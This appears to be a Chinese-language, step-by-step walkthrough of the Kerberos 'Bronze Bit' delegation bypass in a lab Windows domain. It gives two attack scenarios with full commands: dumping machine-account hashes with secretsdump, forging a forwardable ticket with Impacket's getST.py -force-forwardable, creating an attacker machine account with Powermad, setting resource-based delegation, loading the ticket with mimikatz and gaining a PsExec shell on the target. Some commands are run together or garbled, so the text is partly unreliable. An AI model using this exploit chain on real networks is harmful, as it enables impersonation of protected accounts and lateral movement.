0x01 前言
在getST.py（
https://github.com/SecureAuthCorp/i...的服務票據程序將使用步驟1中使用的服務主體的相同密鑰來解密服務票據程序將編輯服務票據，將“ forwardable”標識設置為1。程序將使用服務主體的密鑰重新加密編輯後的服務票據。程序將與服務票證及其TGT進行S4U2proxy交換，以獲得作為通過-spn參數指定的服務的模擬用戶的服務票據該程序將輸出結果作為服務票據，該服務票據可用於對目標服務進行身份驗證並模擬目標用戶。通過編輯票據並將其forwardable bit 強制設置為1，該程序可以模擬作為“受保護的用戶”組成員或使用“帳戶敏感且無法委派（Account is sensitive and cannot be delegated'）”設置配置的用戶。這也允許該程序與為“僅Kerberos”約束委派配置的服務一起使用。在下面的示例中，“Service1”允許對“Service2”執行約束委派，而User2被配置為“賬號敏感且無法委派（sensitive and cannot delegat）”。如果沒有該-force-forwardable標識，則S4U2proxy交換將失敗，因為S4U2self返回的票據不可轉發。使用新的標識，程序將成功執行並生成可用於模擬User2的服務票據。可以通過mimikatz加載該票據，並立即以User2身份訪問Service2。
0x02 示例攻击1
在這個場景中，我們將看到利用該漏洞將如何使繞過“信任此用戶以僅委派給指定服務–僅使用Kerberos”保護，並模擬受委派保護的用戶。
1.环境配置
測試域（test.local）含有3台運行Windows Server 2019版本的服務器，但未修復該漏洞。將在Service1服務器上以User1的身份發起攻擊。並對User2賬號發起攻擊，因為Service2服務器具有管理訪問權限。將為所有Kerberos票證與域控制器（DC）交互。在DC上，對Service1進行配置，以使其可以執行約束委派，而無需將協議轉換為Service2上。這樣可以確保滿足攻擊路徑第3步的條件。
如果在Active Directory GUI中設置了此配置，將如下所示：
在DC上還需要更新User2帳戶，以防止其受約束委派。帳戶可以配置為“帳戶敏感且無法委派”屬性。該帳戶也可以成為“受保護的用戶”組的成員。這些配置更改中的一個或兩個都是等效的：使用“帳戶敏感且無法委派”屬性配置User2：
將User2添加到“受保護的用戶”組中：
2.执行攻击
退出域控制器，並以User1身份登錄Service1服務器上。以獲取初始攻擊據點（攻擊路徑中的第1步）。啟動PowerShell會話，並確認User1和Service1當前無法在其自己的授權下訪問Service2。命令：whoamils \\service2.test.local\c$.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe執行：
已確認User1無法直接訪問Service2。繼續進行攻擊路徑的第2步：獲取Service1的哈希值。在這個場景中，將使用Impacket的secretsdump.py來獲取Service1計算機帳戶的AES256-CTS-HMAC-SHA1-96值和LM:NTLM哈希值。命令：python .\impacket\examples\secretsdump.py 'test/user1:
[email protected]'執行：
在獲得必要的哈希之後，將首先嘗試在沒有-force-forwardable標識的情況下執行getST.py程序。無法執行成功。如上所述，S4U2self交換仍將服務票據返回給User2的Service1，但是由於服務的委派限制和用戶不受委派的保護，該票據的Forwardable標識沒有被設置。這會導致在S4U2proxy交換中將票據用作認證時出錯命令：\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes LM:NTLM hash -aesKey AES hash test.local/Service1執行：
運行漏洞利用程序，這是攻擊路徑的第4步。我們將重複前面的命令，但是這次包括-force-forwardable命令行參數命令：\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes LM:NTLM hash -aesKey AES hash test.local/Service1 -force-forwardablegetST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
執行：
命令成功輸出：Service ticket from S4U2self flags: 00000000101000010000000000000000Service ticket from S4U2self is not forwardableForcing the service ticket to be forwardableService ticket flags after modification: 01000000101000010000000000000000Service ticket from S4U2self now is forwardable通過包含-force-forwardable標誌，該漏洞利用會自動執行，並將從S4U2self交換接收的服務票據轉換為可轉發票據。這是通過使用Service1的哈希值解密票據，將標誌值中的第二位從0更改為1，然後重新加密票據。此可轉發票據在S4U2proxy交換中發送，Service2作為User2的服務票證被返回並寫入到User2.ccache的磁盤上。接下來，將使用Mimikatz將服務票據加載到票據緩存中以供使用。加載後，將看到Mimikatz確認這是User2訪問Service2的cifs服務的有效票據。命令：\mimikatz\mimikatz.exe 'kerberos
tc User2.ccache' exit或者mimikatz(commandline) # kerberos
tc User2.ccache執行：
將服務票據添加到緩存後，現在就可以像訪問User2一樣訪問Service2了。我們擁有User2在Service2上的所有權限。我們將使用Mark Russinovich的PSExec在Service2服務器上獲取PowerShell會話，並運行一些命令。這是攻擊路徑的最後一步。命令：ls \\service2.test.local\c$.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exewhoamihostname執行：
0x03 示例攻击2
1.环境配置
我們將繼續使用上一個示例中的環境，並進行一些修改。目標User2帳戶可以保留其配置為“受保護的用戶”成員的身份，或使用“帳戶敏感且無法委派”屬性來保持其配置首先，刪除Service1的委派權限。連接到DC並使用“不信任此計算機進行委派”配置Service1
編輯Service2計算機對象，授予User1寫入權限。當我們直接向User1用戶授予權限時，用戶通常將通過特權組的成員身份獲得對一個或多個AD對象的寫權限。用戶不一定需要是域管理員。
2.执行攻击
退出域控制器，並以User1身份登錄Service1服務器。以獲取初始攻擊據點（攻擊路徑中的第1步）。如果從第一個示例中繼續攻擊，確保清除本地Kerberos票據緩存。清除緩存的最有效方法就是重新啟動Service1。
與前面的示例不同，此攻擊不會利用Service1和Service2之間的任何委派信任關係。在將Service1配置為“不信任此計算機進行委派（Do trust This computer for delegation）”後，此信任關係不再存在。我們需要與Service2建立一個新的委派關係，這次是一個全新的服務。為了在環境中創建新服務，我們將使用Kevin Robertson的Powermad創建一個新的計算機帳戶。這不需要提升賬號的權限，默認情況下，域中的任何用戶都可以使用。我們將計算機帳戶命名為“AttackerService”，並提供一個任意密碼如：“AttackerServicePassword”命令：Import-Module .\Powermad\powermad.ps1New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)執行：
由於我們選擇了新機器帳戶的密碼，因此我們可以使用Mimikatz輕鬆計算出相應的密碼哈希。這將完成攻擊路徑的步驟2。命令：\mimikatz\mimikatz.exe 'kerberos:hash /password:AttackerServicePassword /user:AttackerService /domain:test.local' exit執行：
讓我們使用PowerShell Active Directory模塊檢查我們新創建的機器帳戶。由於該模塊尚不可用，因此我們將安裝相應的功能，導入該模塊，然後檢查我們新創建的計算機帳戶。命令：Install-WindowsFeature RSAT-AD-PowerShellImport-Module ActiveDirectoryGet-ADComputer AttackerService執行：
在確認機器帳戶的存在後，我們可以在Service2和AttackerService之間建立受約束的委派信任關係。因為User1（我們的受控立足點帳戶）對Service2對象具有寫權限，所以我們可以將AttackerService添加到Service2的PrincipalsAllowedToDelegateToAccount列表中。這將在Service2上建立基於資源的約束委派，從AttackerService接受約束委派。完成此步驟後，我們就滿足了攻擊路徑第3步的條件。命令：Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount執行：
我們準備繼續執行攻擊路徑的第4步並執行漏洞利用。我們將使用與上一個示例相同的命令，但是這次指定AttackerService而不是Service1，並且使用Mimikatz計算哈希值。
當在命令中包含-force-forwardable標誌時，我們將看到與上一個示例相同的結果。執行漏洞利用，設置可轉發標誌，並將作為User2的Service2的服務票證寫入到User2.ccache的磁盤上。命令：python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$執行：
現在，我們可以簡單地重複前面例子中的最後命令。通過使用Mimikatz將服務票據加載到我們的本地Kerberos票據緩存中，我們將為攻擊路徑的第5步做準備。然後，我們將通過與Service2進行交互（模擬User2）來執行步驟5命令：\mimikatz\mimikatz.exe 'kerberos
tc User2.ccache' exit | Out-Nullls \\service2.test.local\c$.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exewhoamihostname執行：
